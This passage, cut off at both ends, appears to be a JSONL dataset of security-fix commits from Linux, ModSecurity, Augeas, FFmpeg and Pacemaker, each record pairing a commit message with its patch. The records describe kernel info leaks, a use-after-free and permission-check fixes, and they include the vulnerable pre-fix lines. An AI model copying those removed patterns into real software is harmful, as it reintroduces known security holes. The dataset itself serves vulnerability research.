follow_down_one(&ns_root))\n+\t\t;\n+\n+\tget_fs_root(current->fs, &fs_root);\n+\n+\tchrooted = !path_equal(&fs_root, &ns_root);\n+\n+\tpath_put(&fs_root);\n+\tpath_put(&ns_root);\n+\n+\treturn chrooted;\n+}\n+\n static void *mntns_get(struct task_struct *task)\n {\n \tstruct mnt_namespace *ns = NULL;", "sections": [{"section": "@@ -2732,6 +2732,30 @@ bool our_mnt(struct vfsmount *mnt)\n \treturn check_mnt(real_mount(mnt));\n }\n \n+bool current_chrooted(void)\n+{\n+\t/* Does the current process have a non-standard root */\n+\tstruct path ns_root;\n+\tstruct path fs_root;\n+\tbool chrooted;\n+\n+\t/* Find the namespace root */\n+\tns_root.mnt = ¤t->nsproxy->mnt_ns->root->mnt;\n+\tns_root.dentry = ns_root.mnt->mnt_root;\n+\tpath_get(&ns_root);\n+\twhile (d_mountpoint(ns_root.dentry) && follow_down_one(&ns_root))\n+\t\t;\n+\n+\tget_fs_root(current->fs, &fs_root);\n+\n+\tchrooted = !path_equal(&fs_root, &ns_root);\n+\n+\tpath_put(&fs_root);\n+\tpath_put(&ns_root);\n+\n+\treturn chrooted;\n+}\n+\n static void *mntns_get(struct task_struct *task)\n {\n \tstruct mnt_namespace *ns = NULL;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/atm/common.c", "commit_id": "9b3e617f3df53822345a8573b6d358f6b9e5ed87", "commit_message": "atm: update msg_namelen in vcc_recvmsg()\n\nThe current code does not fill the msg_name member in case it is set.\nIt also does not set the msg_namelen member to 0 and therefore makes\nnet/socket.c leak the local, uninitialized sockaddr_storage variable\nto userland -- 128 bytes of kernel stack memory.\n\nFix that by simply setting msg_namelen to 0 as obviously nobody cared\nabout vcc_recvmsg() not filling the msg_name in case it was set.\n\nSigned-off-by: Mathias Krause \nSigned-off-by: David S. Miller ", "patch": "@@ -531,6 +531,8 @@ int vcc_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg,\n \tstruct sk_buff *skb;\n \tint copied, error = -EINVAL;\n \n+\tmsg->msg_namelen = 0;\n+\n \tif (sock->state != SS_CONNECTED)\n \t\treturn -ENOTCONN;\n ", "sections": [{"section": "@@ -531,6 +531,8 @@ int vcc_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg,\n \tstruct sk_buff *skb;\n \tint copied, error = -EINVAL;\n \n+\tmsg->msg_namelen = 0;\n+\n \tif (sock->state != SS_CONNECTED)\n \t\treturn -ENOTCONN;\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/nfc/llcp/sock.c", "commit_id": "d26d6504f23e803824e8ebd14e52d4fc0a0b09cb", "commit_message": "NFC: llcp: fix info leaks via msg_name in llcp_sock_recvmsg()\n\nThe code in llcp_sock_recvmsg() does not initialize all the members of\nstruct sockaddr_nfc_llcp when filling the sockaddr info. Nor does it\ninitialize the padding bytes of the structure inserted by the compiler\nfor alignment.\n\nAlso, if the socket is in state LLCP_CLOSED or is shutting down during\nreceive the msg_namelen member is not updated to 0 while otherwise\nreturning with 0, i.e. \"success\". The msg_namelen update is also\nmissing for stream and seqpacket sockets which don't fill the sockaddr\ninfo.\n\nBoth issues lead to the fact that the code will leak uninitialized\nkernel stack bytes in net/socket.c.\n\nFix the first issue by initializing the memory used for sockaddr info\nwith memset(0). Fix the second one by setting msg_namelen to 0 early.\nIt will be updated later if we're going to fill the msg_name member.\n\nCc: Lauro Ramos Venancio \nCc: Aloisio Almeida Jr \nCc: Samuel Ortiz \nSigned-off-by: Mathias Krause \nSigned-off-by: David S. Miller ", "patch": "@@ -646,6 +646,8 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tpr_debug(\"%p %zu\\n\", sk, len);\n \n+\tmsg->msg_namelen = 0;\n+\n \tlock_sock(sk);\n \n \tif (sk->sk_state == LLCP_CLOSED &&\n@@ -691,6 +693,7 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \t\tpr_debug(\"Datagram socket %d %d\\n\", ui_cb->dsap, ui_cb->ssap);\n \n+\t\tmemset(sockaddr, 0, sizeof(*sockaddr));\n \t\tsockaddr->sa_family = AF_NFC;\n \t\tsockaddr->nfc_protocol = NFC_PROTO_NFC_DEP;\n \t\tsockaddr->dsap = ui_cb->dsap;", "sections": [{"section": "@@ -646,6 +646,8 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \tpr_debug(\"%p %zu\\n\", sk, len);\n \n+\tmsg->msg_namelen = 0;\n+\n \tlock_sock(sk);\n \n \tif (sk->sk_state == LLCP_CLOSED &&\n", "related": false}, {"section": "@@ -691,6 +693,7 @@ static int llcp_sock_recvmsg(struct kiocb *iocb, struct socket *sock,\n \n \t\tpr_debug(\"Datagram socket %d %d\\n\", ui_cb->dsap, ui_cb->ssap);\n \n+\t\tmemset(sockaddr, 0, sizeof(*sockaddr));\n \t\tsockaddr->sa_family = AF_NFC;\n \t\tsockaddr->nfc_protocol = NFC_PROTO_NFC_DEP;\n \t\tsockaddr->dsap = ui_cb->dsap;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/user_namespace.c", "commit_id": "e66eded8309ebf679d3d3c1f5820d1f2ca332c71", "commit_message": "userns: Don't allow CLONE_NEWUSER | CLONE_FS\n\nDon't allowing sharing the root directory with processes in a\ndifferent user namespace. There doesn't seem to be any point, and to\nallow it would require the overhead of putting a user namespace\nreference in fs_struct (for permission checks) and incrementing that\nreference count on practically every call to fork.\n\nSo just perform the inexpensive test of forbidding sharing fs_struct\nacrosss processes in different user namespaces. We already disallow\nother forms of threading when unsharing a user namespace so this\nshould be no real burden in practice.\n\nThis updates setns, clone, and unshare to disallow multiple user\nnamespaces sharing an fs_struct.\n\nCc: stable@vger.kernel.org\nSigned-off-by: \"Eric W. Biederman\" \nSigned-off-by: Linus Torvalds ", "patch": "@@ -21,6 +21,7 @@\n #include \n #include \n #include \n+#include \n \n static struct kmem_cache *user_ns_cachep __read_mostly;\n \n@@ -837,6 +838,9 @@ static int userns_install(struct nsproxy *nsproxy, void *ns)\n \tif (atomic_read(¤t->mm->mm_users) > 1)\n \t\treturn -EINVAL;\n \n+\tif (current->fs->users != 1)\n+\t\treturn -EINVAL;\n+\n \tif (!ns_capable(user_ns, CAP_SYS_ADMIN))\n \t\treturn -EPERM;\n ", "sections": [{"section": "@@ -21,6 +21,7 @@\n #include \n #include \n #include \n+#include \n \n static struct kmem_cache *user_ns_cachep __read_mostly;\n \n", "related": false}, {"section": "@@ -837,6 +838,9 @@ static int userns_install(struct nsproxy *nsproxy, void *ns)\n \tif (atomic_read(¤t->mm->mm_users) > 1)\n \t\treturn -EINVAL;\n \n+\tif (current->fs->users != 1)\n+\t\treturn -EINVAL;\n+\n \tif (!ns_capable(user_ns, CAP_SYS_ADMIN))\n \t\treturn -EPERM;\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "virt/kvm/assigned-dev.c", "commit_id": "c4e7f9022e506c6635a5037713c37118e23193e4", "commit_message": "KVM: Device assignment permission checks\n\n(cherry picked from commit 3d27e23b17010c668db311140b17bbbb70c78fb9)\n\nOnly allow KVM device assignment to attach to devices which:\n\n - Are not bridges\n - Have BAR resources (assume others are special devices)\n - The user has permissions to use\n\nAssigning a bridge is a configuration error, it's not supported, and\ntypically doesn't result in the behavior the user is expecting anyway.\nDevices without BAR resources are typically chipset components that\nalso don't have host drivers. We don't want users to hold such devices\ncaptive or cause system problems by fencing them off into an iommu\ndomain. We determine \"permission to use\" by testing whether the user\nhas access to the PCI sysfs resource files. By default a normal user\nwill not have access to these files, so it provides a good indication\nthat an administration agent has granted the user access to the device.\n\n[Yang Bai: add missing #include]\n[avi: fix comment style]\n\nSigned-off-by: Alex Williamson \nSigned-off-by: Yang Bai \nSigned-off-by: Marcelo Tosatti \nSigned-off-by: Greg Kroah-Hartman ", "patch": "@@ -17,6 +17,8 @@\n #include \n #include \n #include \n+#include \n+#include \n #include \"irq.h\"\n \n static struct kvm_assigned_dev_kernel *kvm_find_assigned_dev(struct list_head *head,\n@@ -474,12 +476,73 @@ static int kvm_vm_ioctl_deassign_dev_irq(struct kvm *kvm,\n \treturn r;\n }\n \n+/*\n+ * We want to test whether the caller has been granted permissions to\n+ * use this device. To be able to configure and control the device,\n+ * the user needs access to PCI configuration space and BAR resources.\n+ * These are accessed through PCI sysfs. PCI config space is often\n+ * passed to the process calling this ioctl via file descriptor, so we\n+ * can't rely on access to that file. We can check for permissions\n+ * on each of the BAR resource files, which is a pretty clear\n+ * indicator that the user has been granted access to the device.\n+ */\n+static int probe_sysfs_permissions(struct pci_dev *dev)\n+{\n+#ifdef CONFIG_SYSFS\n+\tint i;\n+\tbool bar_found = false;\n+\n+\tfor (i = PCI_STD_RESOURCES; i <= PCI_STD_RESOURCE_END; i++) {\n+\t\tchar *kpath, *syspath;\n+\t\tstruct path path;\n+\t\tstruct inode *inode;\n+\t\tint r;\n+\n+\t\tif (!pci_resource_len(dev, i))\n+\t\t\tcontinue;\n+\n+\t\tkpath = kobject_get_path(&dev->dev.kobj, GFP_KERNEL);\n+\t\tif (!kpath)\n+\t\t\treturn -ENOMEM;\n+\n+\t\t/* Per sysfs-rules, sysfs is always at /sys */\n+\t\tsyspath = kasprintf(GFP_KERNEL, \"/sys%s/resource%d\", kpath, i);\n+\t\tkfree(kpath);\n+\t\tif (!syspath)\n+\t\t\treturn -ENOMEM;\n+\n+\t\tr = kern_path(syspath, LOOKUP_FOLLOW, &path);\n+\t\tkfree(syspath);\n+\t\tif (r)\n+\t\t\treturn r;\n+\n+\t\tinode = path.dentry->d_inode;\n+\n+\t\tr = inode_permission(inode, MAY_READ | MAY_WRITE | MAY_ACCESS);\n+\t\tpath_put(&path);\n+\t\tif (r)\n+\t\t\treturn r;\n+\n+\t\tbar_found = true;\n+\t}\n+\n+\t/* If no resources, probably something special */\n+\tif (!bar_found)\n+\t\treturn -EPERM;\n+\n+\treturn 0;\n+#else\n+\treturn -EINVAL; /* No way to control the device without sysfs */\n+#endif\n+}\n+\n static int kvm_vm_ioctl_assign_device(struct kvm *kvm,\n \t\t\t\t struct kvm_assigned_pci_dev *assigned_dev)\n {\n \tint r = 0, idx;\n \tstruct kvm_assigned_dev_kernel *match;\n \tstruct pci_dev *dev;\n+\tu8 header_type;\n \n \tif (!(assigned_dev->flags & KVM_DEV_ASSIGN_ENABLE_IOMMU))\n \t\treturn -EINVAL;\n@@ -510,6 +573,18 @@ static int kvm_vm_ioctl_assign_device(struct kvm *kvm,\n \t\tr = -EINVAL;\n \t\tgoto out_free;\n \t}\n+\n+\t/* Don't allow bridges to be assigned */\n+\tpci_read_config_byte(dev, PCI_HEADER_TYPE, &header_type);\n+\tif ((header_type & PCI_HEADER_TYPE) != PCI_HEADER_TYPE_NORMAL) {\n+\t\tr = -EPERM;\n+\t\tgoto out_put;\n+\t}\n+\n+\tr = probe_sysfs_permissions(dev);\n+\tif (r)\n+\t\tgoto out_put;\n+\n \tif (pci_enable_device(dev)) {\n \t\tprintk(KERN_INFO \"%s: Could not enable PCI device\\n\", __func__);\n \t\tr = -EBUSY;", "sections": [{"section": "@@ -17,6 +17,8 @@\n #include \n #include \n #include \n+#include \n+#include \n #include \"irq.h\"\n \n static struct kvm_assigned_dev_kernel *kvm_find_assigned_dev(struct list_head *head,\n", "related": false}, {"section": "@@ -474,12 +476,73 @@ static int kvm_vm_ioctl_deassign_dev_irq(struct kvm *kvm,\n \treturn r;\n }\n \n+/*\n+ * We want to test whether the caller has been granted permissions to\n+ * use this device. To be able to configure and control the device,\n+ * the user needs access to PCI configuration space and BAR resources.\n+ * These are accessed through PCI sysfs. PCI config space is often\n+ * passed to the process calling this ioctl via file descriptor, so we\n+ * can't rely on access to that file. We can check for permissions\n+ * on each of the BAR resource files, which is a pretty clear\n+ * indicator that the user has been granted access to the device.\n+ */\n+static int probe_sysfs_permissions(struct pci_dev *dev)\n+{\n+#ifdef CONFIG_SYSFS\n+\tint i;\n+\tbool bar_found = false;\n+\n+\tfor (i = PCI_STD_RESOURCES; i <= PCI_STD_RESOURCE_END; i++) {\n+\t\tchar *kpath, *syspath;\n+\t\tstruct path path;\n+\t\tstruct inode *inode;\n+\t\tint r;\n+\n+\t\tif (!pci_resource_len(dev, i))\n+\t\t\tcontinue;\n+\n+\t\tkpath = kobject_get_path(&dev->dev.kobj, GFP_KERNEL);\n+\t\tif (!kpath)\n+\t\t\treturn -ENOMEM;\n+\n+\t\t/* Per sysfs-rules, sysfs is always at /sys */\n+\t\tsyspath = kasprintf(GFP_KERNEL, \"/sys%s/resource%d\", kpath, i);\n+\t\tkfree(kpath);\n+\t\tif (!syspath)\n+\t\t\treturn -ENOMEM;\n+\n+\t\tr = kern_path(syspath, LOOKUP_FOLLOW, &path);\n+\t\tkfree(syspath);\n+\t\tif (r)\n+\t\t\treturn r;\n+\n+\t\tinode = path.dentry->d_inode;\n+\n+\t\tr = inode_permission(inode, MAY_READ | MAY_WRITE | MAY_ACCESS);\n+\t\tpath_put(&path);\n+\t\tif (r)\n+\t\t\treturn r;\n+\n+\t\tbar_found = true;\n+\t}\n+\n+\t/* If no resources, probably something special */\n+\tif (!bar_found)\n+\t\treturn -EPERM;\n+\n+\treturn 0;\n+#else\n+\treturn -EINVAL; /* No way to control the device without sysfs */\n+#endif\n+}\n+\n static int kvm_vm_ioctl_assign_device(struct kvm *kvm,\n \t\t\t\t struct kvm_assigned_pci_dev *assigned_dev)\n {\n \tint r = 0, idx;\n \tstruct kvm_assigned_dev_kernel *match;\n \tstruct pci_dev *dev;\n+\tu8 header_type;\n \n \tif (!(assigned_dev->flags & KVM_DEV_ASSIGN_ENABLE_IOMMU))\n \t\treturn -EINVAL;\n", "related": false}, {"section": "@@ -510,6 +573,18 @@ static int kvm_vm_ioctl_assign_device(struct kvm *kvm,\n \t\tr = -EINVAL;\n \t\tgoto out_free;\n \t}\n+\n+\t/* Don't allow bridges to be assigned */\n+\tpci_read_config_byte(dev, PCI_HEADER_TYPE, &header_type);\n+\tif ((header_type & PCI_HEADER_TYPE) != PCI_HEADER_TYPE_NORMAL) {\n+\t\tr = -EPERM;\n+\t\tgoto out_put;\n+\t}\n+\n+\tr = probe_sysfs_permissions(dev);\n+\tif (r)\n+\t\tgoto out_put;\n+\n \tif (pci_enable_device(dev)) {\n \t\tprintk(KERN_INFO \"%s: Could not enable PCI device\\n\", __func__);\n \t\tr = -EBUSY;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/vhost/net.c", "commit_id": "dd7633ecd553a5e304d349aa6f8eb8a0417098c5", "commit_message": "vhost-net: fix use-after-free in vhost_net_flush\n\nvhost_net_ubuf_put_and_wait has a confusing name:\nit will actually also free it's argument.\nThus since commit 1280c27f8e29acf4af2da914e80ec27c3dbd5c01\n \"vhost-net: flush outstanding DMAs on memory change\"\nvhost_net_flush tries to use the argument after passing it\nto vhost_net_ubuf_put_and_wait, this results\nin use after free.\nTo fix, don't free the argument in vhost_net_ubuf_put_and_wait,\nadd an new API for callers that want to free ubufs.\n\nAcked-by: Asias He \nAcked-by: Jason Wang \nSigned-off-by: Michael S. Tsirkin \nSigned-off-by: David S. Miller ", "patch": "@@ -150,6 +150,11 @@ static void vhost_net_ubuf_put_and_wait(struct vhost_net_ubuf_ref *ubufs)\n {\n \tkref_put(&ubufs->kref, vhost_net_zerocopy_done_signal);\n \twait_event(ubufs->wait, !atomic_read(&ubufs->kref.refcount));\n+}\n+\n+static void vhost_net_ubuf_put_wait_and_free(struct vhost_net_ubuf_ref *ubufs)\n+{\n+\tvhost_net_ubuf_put_and_wait(ubufs);\n \tkfree(ubufs);\n }\n \n@@ -948,7 +953,7 @@ static long vhost_net_set_backend(struct vhost_net *n, unsigned index, int fd)\n \tmutex_unlock(&vq->mutex);\n \n \tif (oldubufs) {\n-\t\tvhost_net_ubuf_put_and_wait(oldubufs);\n+\t\tvhost_net_ubuf_put_wait_and_free(oldubufs);\n \t\tmutex_lock(&vq->mutex);\n \t\tvhost_zerocopy_signal_used(n, vq);\n \t\tmutex_unlock(&vq->mutex);\n@@ -966,7 +971,7 @@ static long vhost_net_set_backend(struct vhost_net *n, unsigned index, int fd)\n \trcu_assign_pointer(vq->private_data, oldsock);\n \tvhost_net_enable_vq(n, vq);\n \tif (ubufs)\n-\t\tvhost_net_ubuf_put_and_wait(ubufs);\n+\t\tvhost_net_ubuf_put_wait_and_free(ubufs);\n err_ubufs:\n \tfput(sock->file);\n err_vq:", "sections": [{"section": "@@ -150,6 +150,11 @@ static void vhost_net_ubuf_put_and_wait(struct vhost_net_ubuf_ref *ubufs)\n {\n \tkref_put(&ubufs->kref, vhost_net_zerocopy_done_signal);\n \twait_event(ubufs->wait, !atomic_read(&ubufs->kref.refcount));\n+}\n+\n+static void vhost_net_ubuf_put_wait_and_free(struct vhost_net_ubuf_ref *ubufs)\n+{\n+\tvhost_net_ubuf_put_and_wait(ubufs);\n \tkfree(ubufs);\n }\n \n", "related": false}, {"section": "@@ -948,7 +953,7 @@ static long vhost_net_set_backend(struct vhost_net *n, unsigned index, int fd)\n \tmutex_unlock(&vq->mutex);\n \n \tif (oldubufs) {\n-\t\tvhost_net_ubuf_put_and_wait(oldubufs);\n+\t\tvhost_net_ubuf_put_wait_and_free(oldubufs);\n \t\tmutex_lock(&vq->mutex);\n \t\tvhost_zerocopy_signal_used(n, vq);\n \t\tmutex_unlock(&vq->mutex);\n", "related": false}, {"section": "@@ -966,7 +971,7 @@ static long vhost_net_set_backend(struct vhost_net *n, unsigned index, int fd)\n \trcu_assign_pointer(vq->private_data, oldsock);\n \tvhost_net_enable_vq(n, vq);\n \tif (ubufs)\n-\t\tvhost_net_ubuf_put_and_wait(ubufs);\n+\t\tvhost_net_ubuf_put_wait_and_free(ubufs);\n err_ubufs:\n \tfput(sock->file);\n err_vq:", "related": false}]} +{"owner": "spiderlabs", "repo": "modsecurity", "language": "C", "file_name": "apache2/msc_reqbody.c", "commit_id": "0840b13612a0b7ef1ce7441cf811dcfc6b463fba", "commit_message": "Fixed: chuck null pointer when unknown CT is sent and over in-memory limit", "patch": "@@ -170,6 +170,7 @@ static apr_status_t modsecurity_request_body_store_memory(modsec_rec *msr,\n \n /* Would storing this chunk mean going over the limit? */\n if ((msr->msc_reqbody_spilltodisk)\n+ && (msr->txcfg->reqbody_buffering != REQUEST_BODY_FORCEBUF_ON)\n && (msr->msc_reqbody_length + length > (apr_size_t)msr->txcfg->reqbody_inmemory_limit))\n {\n msc_data_chunk **chunks;", "sections": [{"section": "@@ -170,6 +170,7 @@ static apr_status_t modsecurity_request_body_store_memory(modsec_rec *msr,\n \n /* Would storing this chunk mean going over the limit? */\n if ((msr->msc_reqbody_spilltodisk)\n+ && (msr->txcfg->reqbody_buffering != REQUEST_BODY_FORCEBUF_ON)\n && (msr->msc_reqbody_length + length > (apr_size_t)msr->txcfg->reqbody_inmemory_limit))\n {\n msc_data_chunk **chunks;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/core/scm.c", "commit_id": "d661684cf6820331feae71146c35da83d794467e", "commit_message": "net: Check the correct namespace when spoofing pid over SCM_RIGHTS\n\nThis is a security bug.\n\nThe follow-up will fix nsproxy to discourage this type of issue from\nhappening again.\n\nCc: stable@vger.kernel.org\nSigned-off-by: Andy Lutomirski \nReviewed-by: \"Eric W. Biederman\" \nSigned-off-by: David S. Miller ", "patch": "@@ -54,7 +54,7 @@ static __inline__ int scm_check_creds(struct ucred *creds)\n \t\treturn -EINVAL;\n \n \tif ((creds->pid == task_tgid_vnr(current) ||\n-\t ns_capable(current->nsproxy->pid_ns->user_ns, CAP_SYS_ADMIN)) &&\n+\t ns_capable(task_active_pid_ns(current)->user_ns, CAP_SYS_ADMIN)) &&\n \t ((uid_eq(uid, cred->uid) || uid_eq(uid, cred->euid) ||\n \t uid_eq(uid, cred->suid)) || nsown_capable(CAP_SETUID)) &&\n \t ((gid_eq(gid, cred->gid) || gid_eq(gid, cred->egid) ||", "sections": [{"section": "@@ -54,7 +54,7 @@ static __inline__ int scm_check_creds(struct ucred *creds)\n \t\treturn -EINVAL;\n \n \tif ((creds->pid == task_tgid_vnr(current) ||\n-\t ns_capable(current->nsproxy->pid_ns->user_ns, CAP_SYS_ADMIN)) &&\n+\t ns_capable(task_active_pid_ns(current)->user_ns, CAP_SYS_ADMIN)) &&\n \t ((uid_eq(uid, cred->uid) || uid_eq(uid, cred->euid) ||\n \t uid_eq(uid, cred->suid)) || nsown_capable(CAP_SETUID)) &&\n \t ((gid_eq(gid, cred->gid) || gid_eq(gid, cred->egid) ||", "related": false}]} +{"owner": "hercules-team", "repo": "augeas", "language": "C", "file_name": "src/transform.c", "commit_id": "b8de6a8c5cfffb007149036ffa561ced4d11c462", "commit_message": "Prevent cross-mountpoint attacks via .augsave during saving\n\nPreviously Augeas would open PATH.augsave for writing if a rename from PATH to\nPATH.augsave failed, then write the file contents in. Now if the rename fails,\nit tries to unlink PATH.augsave and open it with O_EXCL first.\n\nMountpoints remain permitted at either PATH or PATH.augnew provided\n/augeas/save/copy_if_rename_fails exists.\n\n* src/transform.c (clone_file):\n add argument to perform unlink and O_EXCL on destination filename after a\n rename failure to prevent PATH.augsave being a mountpoint\n* src/transform.c (transform_save, remove_file):\n always try to unlink PATH.augsave if rename fails, only allowing PATH to be\n a mountpoint; allow PATH or PATH.augnew to be mountpoints\n* tests/\n test-put-mount: check PATH being a mountpoint is supported\n test-put-mount-augnew.sh: check PATH.augnew being a mountpoint is supported\n test-put-mount-augsave.sh: check unlink error when PATH.augsave is a mount\n\nFixes BZ 772261", "patch": "@@ -27,6 +27,7 @@\n \n #include \n #include \n+#include \n #include \n #include \n #include \n@@ -844,14 +845,21 @@ static int transfer_file_attrs(FILE *from, FILE *to,\n * means that FROM or TO is a bindmounted file), and COPY_IF_RENAME_FAILS\n * is true, copy the contents of FROM into TO and delete FROM.\n *\n+ * If COPY_IF_RENAME_FAILS and UNLINK_IF_RENAME_FAILS are true, and the above\n+ * copy mechanism is used, it will unlink the TO path and open with O_EXCL\n+ * to ensure we only copy *from* a bind mount rather than into an attacker's\n+ * mount placed at TO (e.g. for .augsave).\n+ *\n * Return 0 on success (either rename succeeded or we copied the contents\n * over successfully), -1 on failure.\n */\n static int clone_file(const char *from, const char *to,\n- const char **err_status, int copy_if_rename_fails) {\n+ const char **err_status, int copy_if_rename_fails,\n+ int unlink_if_rename_fails) {\n FILE *from_fp = NULL, *to_fp = NULL;\n char buf[BUFSIZ];\n size_t len;\n+ int to_fd = -1, to_oflags, r;\n int result = -1;\n \n if (rename(from, to) == 0)\n@@ -867,10 +875,23 @@ static int clone_file(const char *from, const char *to,\n goto done;\n }\n \n- if (!(to_fp = fopen(to, \"w\"))) {\n+ if (unlink_if_rename_fails) {\n+ r = unlink(to);\n+ if (r < 0) {\n+ *err_status = \"clone_unlink_dst\";\n+ goto done;\n+ }\n+ }\n+\n+ to_oflags = unlink_if_rename_fails ? O_EXCL : O_TRUNC;\n+ if ((to_fd = open(to, O_WRONLY|O_CREAT|to_oflags, S_IRUSR|S_IWUSR)) < 0) {\n *err_status = \"clone_open_dst\";\n goto done;\n }\n+ if (!(to_fp = fdopen(to_fd, \"w\"))) {\n+ *err_status = \"clone_fdopen_dst\";\n+ goto done;\n+ }\n \n if (transfer_file_attrs(from_fp, to_fp, err_status) < 0)\n goto done;\n@@ -897,8 +918,15 @@ static int clone_file(const char *from, const char *to,\n done:\n if (from_fp != NULL)\n fclose(from_fp);\n- if (to_fp != NULL && fclose(to_fp) != 0)\n+ if (to_fp != NULL) {\n+ if (fclose(to_fp) != 0) {\n+ *err_status = \"clone_fclose_dst\";\n+ result = -1;\n+ }\n+ } else if (to_fd >= 0 && close(to_fd) < 0) {\n+ *err_status = \"clone_close_dst\";\n result = -1;\n+ }\n if (result != 0)\n unlink(to);\n if (result == 0)\n@@ -1132,15 +1160,15 @@ int transform_save(struct augeas *aug, struct tree *xfm,\n goto done;\n }\n \n- r = clone_file(augorig_canon, augsave, &err_status, 1);\n+ r = clone_file(augorig_canon, augsave, &err_status, 1, 1);\n if (r != 0) {\n dyn_err_status = strappend(err_status, \"_augsave\");\n goto done;\n }\n }\n }\n \n- r = clone_file(augtemp, augdest, &err_status, copy_if_rename_fails);\n+ r = clone_file(augtemp, augdest, &err_status, copy_if_rename_fails, 0);\n if (r != 0) {\n dyn_err_status = strappend(err_status, \"_augtemp\");\n goto done;\n@@ -1298,7 +1326,7 @@ int remove_file(struct augeas *aug, struct tree *tree) {\n goto error;\n }\n \n- r = clone_file(augorig_canon, augsave, &err_status, 1);\n+ r = clone_file(augorig_canon, augsave, &err_status, 1, 1);\n if (r != 0) {\n dyn_err_status = strappend(err_status, \"_augsave\");\n goto error;", "sections": [{"section": "@@ -27,6 +27,7 @@\n \n #include \n #include \n+#include \n #include \n #include \n #include \n", "related": false}, {"section": "@@ -844,14 +845,21 @@ static int transfer_file_attrs(FILE *from, FILE *to,\n * means that FROM or TO is a bindmounted file), and COPY_IF_RENAME_FAILS\n * is true, copy the contents of FROM into TO and delete FROM.\n *\n+ * If COPY_IF_RENAME_FAILS and UNLINK_IF_RENAME_FAILS are true, and the above\n+ * copy mechanism is used, it will unlink the TO path and open with O_EXCL\n+ * to ensure we only copy *from* a bind mount rather than into an attacker's\n+ * mount placed at TO (e.g. for .augsave).\n+ *\n * Return 0 on success (either rename succeeded or we copied the contents\n * over successfully), -1 on failure.\n */\n static int clone_file(const char *from, const char *to,\n- const char **err_status, int copy_if_rename_fails) {\n+ const char **err_status, int copy_if_rename_fails,\n+ int unlink_if_rename_fails) {\n FILE *from_fp = NULL, *to_fp = NULL;\n char buf[BUFSIZ];\n size_t len;\n+ int to_fd = -1, to_oflags, r;\n int result = -1;\n \n if (rename(from, to) == 0)\n", "related": true}, {"section": "@@ -867,10 +875,23 @@ static int clone_file(const char *from, const char *to,\n goto done;\n }\n \n- if (!(to_fp = fopen(to, \"w\"))) {\n+ if (unlink_if_rename_fails) {\n+ r = unlink(to);\n+ if (r < 0) {\n+ *err_status = \"clone_unlink_dst\";\n+ goto done;\n+ }\n+ }\n+\n+ to_oflags = unlink_if_rename_fails ? O_EXCL : O_TRUNC;\n+ if ((to_fd = open(to, O_WRONLY|O_CREAT|to_oflags, S_IRUSR|S_IWUSR)) < 0) {\n *err_status = \"clone_open_dst\";\n goto done;\n }\n+ if (!(to_fp = fdopen(to_fd, \"w\"))) {\n+ *err_status = \"clone_fdopen_dst\";\n+ goto done;\n+ }\n \n if (transfer_file_attrs(from_fp, to_fp, err_status) < 0)\n goto done;\n", "related": true}, {"section": "@@ -897,8 +918,15 @@ static int clone_file(const char *from, const char *to,\n done:\n if (from_fp != NULL)\n fclose(from_fp);\n- if (to_fp != NULL && fclose(to_fp) != 0)\n+ if (to_fp != NULL) {\n+ if (fclose(to_fp) != 0) {\n+ *err_status = \"clone_fclose_dst\";\n+ result = -1;\n+ }\n+ } else if (to_fd >= 0 && close(to_fd) < 0) {\n+ *err_status = \"clone_close_dst\";\n result = -1;\n+ }\n if (result != 0)\n unlink(to);\n if (result == 0)\n", "related": true}, {"section": "@@ -1132,15 +1160,15 @@ int transform_save(struct augeas *aug, struct tree *xfm,\n goto done;\n }\n \n- r = clone_file(augorig_canon, augsave, &err_status, 1);\n+ r = clone_file(augorig_canon, augsave, &err_status, 1, 1);\n if (r != 0) {\n dyn_err_status = strappend(err_status, \"_augsave\");\n goto done;\n }\n }\n }\n \n- r = clone_file(augtemp, augdest, &err_status, copy_if_rename_fails);\n+ r = clone_file(augtemp, augdest, &err_status, copy_if_rename_fails, 0);\n if (r != 0) {\n dyn_err_status = strappend(err_status, \"_augtemp\");\n goto done;\n", "related": true}, {"section": "@@ -1298,7 +1326,7 @@ int remove_file(struct augeas *aug, struct tree *tree) {\n goto error;\n }\n \n- r = clone_file(augorig_canon, augsave, &err_status, 1);\n+ r = clone_file(augorig_canon, augsave, &err_status, 1, 1);\n if (r != 0) {\n dyn_err_status = strappend(err_status, \"_augsave\");\n goto error;", "related": true}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavfilter/vf_fieldorder.c", "commit_id": "e43a0a232dbf6d3c161823c2e07c52e76227a1bc", "commit_message": "avfilter: fix plane validity checks\n\nFixes out of array accesses\n\nSigned-off-by: Michael Niedermayer ", "patch": "@@ -106,7 +106,7 @@ static int filter_frame(AVFilterLink *inlink, AVFrame *frame)\n \"picture will move %s one line\\n\",\n s->dst_tff ? \"up\" : \"down\");\n h = frame->height;\n- for (plane = 0; plane < 4 && frame->data[plane]; plane++) {\n+ for (plane = 0; plane < 4 && frame->data[plane] && frame->linesize[plane]; plane++) {\n line_step = frame->linesize[plane];\n line_size = s->line_size[plane];\n data = frame->data[plane];", "sections": [{"section": "@@ -106,7 +106,7 @@ static int filter_frame(AVFilterLink *inlink, AVFrame *frame)\n \"picture will move %s one line\\n\",\n s->dst_tff ? \"up\" : \"down\");\n h = frame->height;\n- for (plane = 0; plane < 4 && frame->data[plane]; plane++) {\n+ for (plane = 0; plane < 4 && frame->data[plane] && frame->linesize[plane]; plane++) {\n line_step = frame->linesize[plane];\n line_size = s->line_size[plane];\n data = frame->data[plane];", "related": false}]} +{"owner": "clusterlabs", "repo": "pacemaker", "language": "C", "file_name": "cib/callbacks.h", "commit_id": "564f7cc2a51dcd2f28ab12a13394f31be5aa3c93", "commit_message": "High: core: Internal tls api improvements for reuse with future LRMD tls backend.", "patch": "@@ -41,25 +41,29 @@ typedef struct cib_client_s {\n char 